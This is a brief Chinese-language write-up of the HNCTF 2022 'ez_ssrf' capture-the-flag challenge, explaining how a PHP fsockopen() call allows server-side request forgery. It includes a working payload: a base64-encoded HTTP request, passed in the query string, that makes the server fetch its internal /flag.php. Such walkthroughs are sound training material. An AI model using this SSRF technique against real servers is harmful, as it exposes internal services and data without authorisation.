[HNCTF 2022 WEEK2]ez_ssrf
1 |
|
我们看到fsockopen函数,就知道这题一个是个ssrf的题
先审计代码
首先通过fsockopen()函数建立与指定主机和端口的socker连接,然后它将传入的数据进行base64解码,然后将数据写入到连接的socket中
我们构造http头来访问/flag
1 | GET /flag.php HTTP/1.1 |
进行base64加密,连接本地
1 | ?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo= |